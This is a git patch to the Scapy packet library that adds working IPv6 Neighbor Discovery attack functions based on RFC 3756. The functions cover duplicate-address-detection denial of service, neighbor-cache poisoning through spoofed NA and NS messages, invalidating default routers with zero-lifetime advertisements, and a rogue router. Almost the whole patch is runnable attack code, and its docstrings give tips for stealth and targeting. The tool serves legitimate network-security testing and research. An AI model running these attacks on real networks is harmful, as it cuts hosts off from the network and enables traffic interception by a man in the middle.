From af26c2a019d9f8fe71a5064f71f1b736b6800844 Mon Sep 17 00:00:00 2001 From: Arnaud Ebalard Date: Thu, 18 Feb 2016 23:16:30 +0100 Subject: [PATCH] Imported old code from MOBISEND ANR project providing implementation for various IPv6 Neighbor Discovery attacks referenced in RFC 3756 (IPv6 Neighbor Discovery (ND) Trust Models and Threats). Integration work in recent version and associated tests done by Guillaume! --- scapy/layers/inet6.py | 623 ++++++++++++++++++++++++++++++++++++++++++ scapy/utils6.py | 10 + 2 files changed, 633 insertions(+) diff --git a/scapy/layers/inet6.py b/scapy/layers/inet6.py index d2c546f46..84b1786dc 100644 --- a/scapy/layers/inet6.py +++ b/scapy/layers/inet6.py @@ -3008,6 +3008,629 @@ class _IPv6inIP(SuperSocket): return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6)/x) +############################################################################# +############################################################################# +### Neighbor Discovery Protocol Attacks ### +############################################################################# +############################################################################# + +def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None, + tgt_filter=None, reply_mac=None): + """ + Internal generic helper accepting a specific callback as first argument, + for NS or NA reply. See the two specific functions below. + """ + + def is_request(req, mac_src_filter, tgt_filter): + """ + Check if packet req is a request + """ + + # Those simple checks are based on Section 5.4.2 of RFC 4862 + if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req): + return 0 + + # Get and compare the MAC address + mac_src = req[Ether].src + if mac_src_filter and mac_src != mac_src_filter: + return 0 + + # Source must be the unspecified address + if req[IPv6].src != "::": + return 0 + + # Check destination is the link-local solicited-node multicast + # address associated with target address in received NS + tgt = socket.inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt) + if tgt_filter and tgt != tgt_filter: + return 0 + received_snma = socket.inet_pton(socket.AF_INET6, req[IPv6].dst) + expected_snma = in6_getnsma(tgt) + if received_snma != expected_snma: + return 0 + + return 1 + + if not iface: + iface = conf.iface + + # To prevent sniffing our own traffic + if not reply_mac: + reply_mac = get_if_hwaddr(iface) + sniff_filter = "icmp6 and not ether src %s" % reply_mac + + sniff(store=0, + filter=sniff_filter, + lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter), + prn=lambda x: reply_callback(x, reply_mac, iface), + iface=iface) + + +def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None, + reply_mac=None): + """ + Perform the DAD DoS attack using NS described in section 4.1.3 of RFC + 3756. This is done by listening incoming NS messages sent from the + unspecified address and sending a NS reply for the target address, + leading the peer to believe that another node is also performing DAD + for that address. + + By default, the fake NS sent to create the DoS uses: + - as target address the target address found in received NS. + - as IPv6 source address: the unspecified address (::). + - as IPv6 destination address: the link-local solicited-node multicast + address derived from the target address in received NS. + - the mac address of the interface as source (or reply_mac, see below). + - the multicast mac address derived from the solicited node multicast + address used as IPv6 destination address. + + Following arguments can be used to change the behavior: + + iface: a specific interface (e.g. "eth0") of the system on which the + DoS should be launched. If None is provided conf.iface is used. + + mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. + Only NS messages received from this source will trigger replies. + This allows limiting the effects of the DoS to a single target by + filtering on its mac address. The default value is None: the DoS + is not limited to a specific mac address. + + tgt_filter: Same as previous but for a specific target IPv6 address for + received NS. If the target address in the NS message (not the IPv6 + destination address) matches that address, then a fake reply will + be sent, i.e. the emitter will be a target of the DoS. + + reply_mac: allow specifying a specific source mac address for the reply, + i.e. to prevent the use of the mac address of the interface. + """ + + def ns_reply_callback(req, reply_mac, iface): + """ + Callback that reply to a NS by sending a similar NS + """ + + # Let's build a reply and send it + mac = req[Ether].src + dst = req[IPv6].dst + tgt = req[ICMPv6ND_NS].tgt + rep = Ether(src=reply_mac)/IPv6(src="::", dst=dst)/ICMPv6ND_NS(tgt=tgt) + sendp(rep, iface=iface, verbose=0) + + print "Reply NS for target address %s (received from %s)" % (tgt, mac) + + _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter, + tgt_filter, reply_mac) + + +def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None, + reply_mac=None): + """ + Perform the DAD DoS attack using NS described in section 4.1.3 of RFC + 3756. This is done by listening incoming NS messages *sent from the + unspecified address* and sending a NA reply for the target address, + leading the peer to believe that another node is also performing DAD + for that address. + + By default, the fake NA sent to create the DoS uses: + - as target address the target address found in received NS. + - as IPv6 source address: the target address found in received NS. + - as IPv6 destination address: the link-local solicited-node multicast + address derived from the target address in received NS. + - the mac address of the interface as source (or reply_mac, see below). + - the multicast mac address derived from the solicited node multicast + address used as IPv6 destination address. + - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled + with the mac address used as source of the NA. + + Following arguments can be used to change the behavior: + + iface: a specific interface (e.g. "eth0") of the system on which the + DoS should be launched. If None is provided conf.iface is used. + + mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. + Only NS messages received from this source will trigger replies. + This allows limiting the effects of the DoS to a single target by + filtering on its mac address. The default value is None: the DoS + is not limited to a specific mac address. + + tgt_filter: Same as previous but for a specific target IPv6 address for + received NS. If the target address in the NS message (not the IPv6 + destination address) matches that address, then a fake reply will + be sent, i.e. the emitter will be a target of the DoS. + + reply_mac: allow specifying a specific source mac address for the reply, + i.e. to prevent the use of the mac address of the interface. This + address will also be used in the Target Link-Layer Address option. + """ + + def na_reply_callback(req, reply_mac, iface): + """ + Callback that reply to a NS with a NA + """ + + # Let's build a reply and send it + mac = req[Ether].src + dst = req[IPv6].dst + tgt = req[ICMPv6ND_NS].tgt + rep = Ether(src=reply_mac)/IPv6(src=tgt, dst=dst) + rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1) + rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac) + sendp(rep, iface=iface, verbose=0) + + print "Reply NA for target address %s (received from %s)" % (tgt, mac) + + _NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter, + tgt_filter, reply_mac) + + +def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None, + reply_mac=None, router=False): + """ + The main purpose of this function is to send fake Neighbor Advertisement + messages to a victim. As the emission of unsolicited Neighbor Advertisement + is pretty pointless (from an attacker standpoint) because it will not + lead to a modification of a victim's neighbor cache, the function send + advertisements in response to received NS (NS sent as part of the DAD, + i.e. with an unspecified address as source, are not considered). + + By default, the fake NA sent to create the DoS uses: + - as target address the target address found in received NS. + - as IPv6 source address: the target address + - as IPv6 destination address: the source IPv6 address of received NS + message. + - the mac address of the interface as source (or reply_mac, see below). + - the source mac address of the received NS as destination macs address + of the emitted NA. + - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) + filled with the mac address used as source of the NA. + + Following arguments can be used to change the behavior: + + iface: a specific interface (e.g. "eth0") of the system on which the + DoS should be launched. If None is provided conf.iface is used. + + mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. + Only NS messages received from this source will trigger replies. + This allows limiting the effects of the DoS to a single target by + filtering on its mac address. The default value is None: the DoS + is not limited to a specific mac address. + + tgt_filter: Same as previous but for a specific target IPv6 address for + received NS. If the target address in the NS message (not the IPv6 + destination address) matches that address, then a fake reply will + be sent, i.e. the emitter will be a target of the DoS. + + reply_mac: allow specifying a specific source mac address for the reply, + i.e. to prevent the use of the mac address of the interface. This + address will also be used in the Target Link-Layer Address option. + + router: by the default (False) the 'R' flag in the NA used for the reply + is not set. If the parameter is set to True, the 'R' flag in the + NA is set, advertising us as a router. + + Please, keep the following in mind when using the function: for obvious + reasons (kernel space vs. Python speed), when the target of the address + resolution is on the link, the sender of the NS receives 2 NA messages + in a row, the valid one and our fake one. The second one will overwrite + the information provided by the first one, i.e. the natural latency of + Scapy helps here. + + In practice, on a common Ethernet link, the emission of the NA from the + genuine target (kernel stack) usually occurs in the same millisecond as + the receipt of the NS. The NA generated by Scapy6 will usually come after + something 20+ ms. On a usual testbed for instance, this difference is + sufficient to have the first data packet sent from the victim to the + destination before it even receives our fake NA. + """ + + def is_request(req, mac_src_filter, tgt_filter): + """ + Check if packet req is a request + """ + + # Those simple checks are based on Section 5.4.2 of RFC 4862 + if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req): + return 0 + + mac_src = req[Ether].src + if mac_src_filter and mac_src != mac_src_filter: + return 0 + + # Source must NOT be the unspecified address + if req[IPv6].src == "::": + return 0 + + tgt = socket.inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt) + if tgt_filter and tgt != tgt_filter: + return 0 + + dst = req[IPv6].dst + if in6_isllsnmaddr(dst): # Address is Link Layer Solicited Node mcast. + + # If this is a real address resolution NS, then the destination + # address of the packet is the link-local solicited node multicast + # address associated with the target of the NS. + # Otherwise, the NS is a NUD related one, i.e. the peer is + # unicasting the NS to check the target is still alive (L2 + # information is still in its cache and it is verified) + received_snma = socket.inet_pton(socket.AF_INET6, dst) + expected_snma = in6_getnsma(tgt) + if received_snma != expected_snma: + print "solicited node multicast @ does not match target @!" + return 0 + + return 1 + + def reply_callback(req, reply_mac, router, iface): + """ + Callback that reply to a NS with a spoofed NA + """ + + # Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and + # send it back. + mac = req[Ether].src + pkt = req[IPv6] + src = pkt.src + tgt = req[ICMPv6ND_NS].tgt + rep = Ether(src=reply_mac, dst=mac)/IPv6(src=tgt, dst=src) + rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1) # target from the NS + + # "If the solicitation IP Destination Address is not a multicast + # address, the Target Link-Layer Address option MAY be omitted" + # Given our purpose, we always include it. + rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac) + + sendp(rep, iface=iface, verbose=0) + + print "Reply NA for target address %s (received from %s)" % (tgt, mac) + + if not iface: + iface = conf.iface + # To prevent sniffing our own traffic + if not reply_mac: + reply_mac = get_if_hwaddr(iface) + sniff_filter = "icmp6 and not ether src %s" % reply_mac + + router = (router and 1) or 0 # Value of the R flags in NA + + sniff(store=0, + filter=sniff_filter, + lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter), + prn=lambda x: reply_callback(x, reply_mac, router, iface), + iface=iface) + + +def NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1", + dst=None, src_mac=None, dst_mac=None, loop=True, + inter=1, iface=None): + """ + The main purpose of this function is to send fake Neighbor Solicitations + messages to a victim, in order to either create a new entry in its neighbor + cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated + that a node SHOULD create the entry or update an existing one (if it is not + currently performing DAD for the target of the NS). The entry's reachability + state is set to STALE. + + The two main parameters of the function are the source link-layer address + (carried by the Source Link-Layer Address option in the NS) and the + source address of the packet. + + Unlike some other NDP_Attack_* function, this one is not based on a + stimulus/response model. When called, it sends the same NS packet in loop + every second (the default) + + Following arguments can be used to change the format of the packets: + + src_lladdr: the MAC address used in the Source Link-Layer Address option + included in the NS packet. This is the address that the peer should + associate in its neighbor cache with the IPv6 source address of the + packet. If None is provided, the mac address of the interface is + used. + + src: the IPv6 address used as source of the packet. If None is provided, + an address associated with the emitting interface will be used + (based on the destination address of the packet). + + target: the target address of the NS packet. If no value is provided, + a dummy address (2001:db8::1) is used. The value of the target + has a direct impact on the destination address of the packet if it + is not overridden. By default, the solicited-node multicast address + associated with the target is used as destination address of the + packet. Consider specifying a specific destination address if you + intend to use a target address different than the one of the victim. + + dst: The destination address of the NS. By default, the solicited node + multicast address associated with the target address (see previous + parameter) is used if no specific value is provided. The victim + is not expected to check the destination address of the packet, + so using a multicast address like ff02::1 should work if you want + the attack to target all hosts on the link. On the contrary, if + you want to be more stealth, you should provide the target address + for this parameter in order for the packet to be sent only to the + victim. + + src_mac: the MAC address used as source of the packet. By default, this + is the address of the interface. If you want to be more stealth, + feel free to use something else. Note that this address is not the + that the victim will use to populate its neighbor cache. + + dst_mac: The MAC address used as destination address of the packet. If + the IPv6 destination address is multicast (all-nodes, solicited + node, ...), it will be computed. If the destination address is + unicast, a neighbor solicitation will be performed to get the + associated address. If you want the attack to be stealth, you + can provide the MAC address using this parameter. + + loop: By default, this parameter is True, indicating that NS packets + will be sent in loop, separated by 'inter' seconds (see below). + When set to False, a single packet is sent. + + inter: When loop parameter is True (the default), this parameter provides + the interval in seconds used for sending NS packets. + + iface: to force the sending interface. + """ + + if not iface: + iface = conf.iface + + # Use provided MAC address as source link-layer address option + # or the MAC address of the interface if none is provided. + if not src_lladdr: + src_lladdr = get_if_hwaddr(iface) + + # Prepare packets parameters + ether_params = {} + if src_mac: + ether_params["src"] = src_mac + + if dst_mac: + ether_params["dst"] = dst_mac + + ipv6_params = {} + if src: + ipv6_params["src"] = src + if dst: + ipv6_params["dst"] = dst + else: + # Compute the solicited-node multicast address + # associated with the target address. + tmp = inet_ntop(socket.AF_INET6, + in6_getnsma(inet_pton(socket.AF_INET6, target))) + ipv6_params["dst"] = tmp + + pkt = Ether(**ether_params) + pkt /= IPv6(**ipv6_params) + pkt /= ICMPv6ND_NS(tgt=target) + pkt /= ICMPv6NDOptSrcLLAddr(lladdr=src_lladdr) + + sendp(pkt, inter=inter, loop=loop, iface=iface, verbose=0) + + +def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None, + ip_src_filter=None, reply_mac=None, + tgt_mac=None): + """ + The purpose of the function is to monitor incoming RA messages + sent by default routers (RA with a non-zero Router Lifetime values) + and invalidate them by immediately replying with fake RA messages + advertising a zero Router Lifetime value. + + The result on receivers is that the router is immediately invalidated, + i.e. the associated entry is discarded from the default router list + and destination cache is updated to reflect the change. + + By default, the function considers all RA messages with a non-zero + Router Lifetime value but provides configuration knobs to allow + filtering RA sent by specific routers (Ethernet source address). + With regard to emission, the multicast all-nodes address is used + by default but a specific target can be used, in order for the DoS to + apply only to a specific host. + + More precisely, following arguments can be used to change the behavior: + + iface: a specific interface (e.g. "eth0") of the system on which the + DoS should be launched. If None is provided conf.iface is used. + + mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. + Only RA messages received from this source will trigger replies. + If other default routers advertised their presence on the link, + their clients will not be impacted by the attack. The default + value is None: the DoS is not limited to a specific mac address. + + ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter + on. Only RA messages received from this source address will trigger + replies. If other default routers advertised their presence on the + link, their clients will not be impacted by the attack. The default + value is None: the DoS is not limited to a specific IPv6 source + address. + + reply_mac: allow specifying a specific source mac address for the reply, + i.e. to prevent the use of the mac address of the interface. + + tgt_mac: allow limiting the effect of the DoS to a specific host, + by sending the "invalidating RA" only to its mac address. + """ + + def is_request(req, mac_src_filter, ip_src_filter): + """ + Check if packet req is a request + """ + + if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req): + return 0 + + mac_src = req[Ether].src + if mac_src_filter and mac_src != mac_src_filter: + return 0 + + ip_src = req[IPv6].src + if ip_src_filter and ip_src != ip_src_filter: + return 0 + + # Check if this is an advertisement for a Default Router + # by looking at Router Lifetime value + if req[ICMPv6ND_RA].routerlifetime == 0: + return 0 + + return 1 + + def ra_reply_callback(req, reply_mac, tgt_mac, iface): + """ + Callback that sends an RA with a 0 lifetime + """ + + # Let's build a reply and send it + + src = req[IPv6].src + + # Prepare packets parameters + ether_params = {} + if reply_mac: + ether_params["src"] = reply_mac + + if tgt_mac: + ether_params["dst"] = tgt_mac + + # Basis of fake RA (high pref, zero lifetime) + rep = Ether(**ether_params)/IPv6(src=src, dst="ff02::1") + rep /= ICMPv6ND_RA(prf=1, routerlifetime=0) + + # Add it a PIO from the request ... + tmp = req + while ICMPv6NDOptPrefixInfo in tmp: + pio = tmp[ICMPv6NDOptPrefixInfo] + tmp = pio.payload + del(pio.payload) + rep /= pio + + # ... and source link layer address option + if ICMPv6NDOptSrcLLAddr in req: + mac = req[ICMPv6NDOptSrcLLAddr].lladdr + else: + mac = req[Ether].src + rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac) + + sendp(rep, iface=iface, verbose=0) + + print "Fake RA sent with source address %s" % src + + + if not iface: + iface = conf.iface + # To prevent sniffing our own traffic + if not reply_mac: + reply_mac = get_if_hwaddr(iface) + sniff_filter = "icmp6 and not ether src %s" % reply_mac + + sniff(store=0, + filter=sniff_filter, + lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter), + prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface), + iface=iface) + + +def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None, + ip_src_filter=None): + """ + The purpose of this function is to send provided RA message at layer 2 + (i.e. providing a packet starting with IPv6 will not work) in response + to received RS messages. In the end, the function is a simple wrapper + around sendp() that monitor the link for RS messages. + + It is probably better explained with an example: + + >>> ra = Ether()/IPv6()/ICMPv6ND_RA() + >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64) + >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64) + >>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55") + >>> NDP_Attack_Fake_Router(ra, iface="eth0") + Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573 + Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae + ... + + Following arguments can be used to change the behavior: + + ra: the RA message to send in response to received RS message. + + iface: a specific interface (e.g. "eth0") of the system on which the + DoS should be launched. If none is provided, conf.iface is + used. + + mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. + Only RS messages received from this source will trigger a reply. + Note that no changes to provided RA is done which imply that if + you intend to target only the source of the RS using this option, + you will have to set the Ethernet destination address to the same + value in your RA. + The default value for this parameter is None: no filtering on the + source of RS is done. + + ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter + on. Only RS messages received from this source address will trigger + replies. Same comment as for previous argument apply: if you use + the option, you will probably want to set a specific Ethernet + destination address in the RA. + """ + + def is_request(req, mac_src_filter, ip_src_filter): + """ + Check if packet req is a request + """ + + if not (Ether in req and IPv6 in req and ICMPv6ND_RS in req): + return 0 + + mac_src = req[Ether].src + if mac_src_filter and mac_src != mac_src_filter: + return 0 + + ip_src = req[IPv6].src + if ip_src_filter and ip_src != ip_src_filter: + return 0 + + return 1 + + def ra_reply_callback(req, iface): + """ + Callback that sends an RA in reply to an RS + """ + + src = req[IPv6].src + sendp(ra, iface=iface, verbose=0) + print "Fake RA sent in response to RS from %s" % src + + if not iface: + iface = conf.iface + sniff_filter = "icmp6" + + sniff(store=0, + filter=sniff_filter, + lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter), + prn=lambda x: ra_reply_callback(x, iface), + iface=iface) + + ############################################################################# ############################################################################# ### Layers binding ### diff --git a/scapy/utils6.py b/scapy/utils6.py index 7ba8ca103..647efa8a3 100644 --- a/scapy/utils6.py +++ b/scapy/utils6.py @@ -648,6 +648,16 @@ def in6_isincluded(addr, prefix, plen): zero = inet_pton(socket.AF_INET6, prefix) return zero == in6_and(temp, pref) +def in6_isllsnmaddr(str): + """ + Return True if provided address is a link-local solicited node + multicast address, i.e. belongs to ff02::1:ff00:0/104. False is + returned otherwise. + """ + temp = in6_and("\xff"*13+"\x00"*3, inet_pton(socket.AF_INET6, str)) + temp2 = '\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x00\x00\x00' + return temp == temp2 + def in6_isdocaddr(str): """ Returns True if provided address in printable format belongs to